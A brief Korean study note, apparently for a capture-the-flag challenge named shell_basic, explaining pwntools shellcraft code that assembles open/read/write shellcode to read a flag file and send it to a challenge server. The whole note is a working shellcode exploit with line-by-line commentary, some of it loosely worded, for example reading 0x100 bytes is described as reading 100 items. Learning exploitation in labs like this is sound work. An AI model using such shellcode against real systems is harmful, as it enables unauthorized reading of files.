shellcraft - pwn 라이브러리에 들어 있는 쉘코드를 실행할 수 있는 파일
context(arch='amd64', os='linux') - 64비트 리눅스 환경에 맞추기
payload = asm(shellcraft.open('/home/shell_basic/flag_name_is_loooooong'))
= payload 변수에 shellcraft 로 shellcode실행해서 open(’파일명’)으로 파일 열기
payload += asm(shellcraft.read('rax', 'rsp', 0x100))
=아까 연 파일 포인터를 rax에 저장되니 rax에 있는 stack값 첫번째부터 100개 읽기
payload += asm(shellcraft.write(1, 'rsp', 0x100))
= write(1(보이는 터미널), ‘rsp’(스택 첫번쨰 부터), 0x100(0x100크기 만큼) 아까 읽은 값 쓰기
+= - 명령어 추가하기
p.sendline(payload) - 서버에 payload 명령어를 보낸다
p.interactive() - 쉘 실행을 시켜주고 종료까지 시켜준다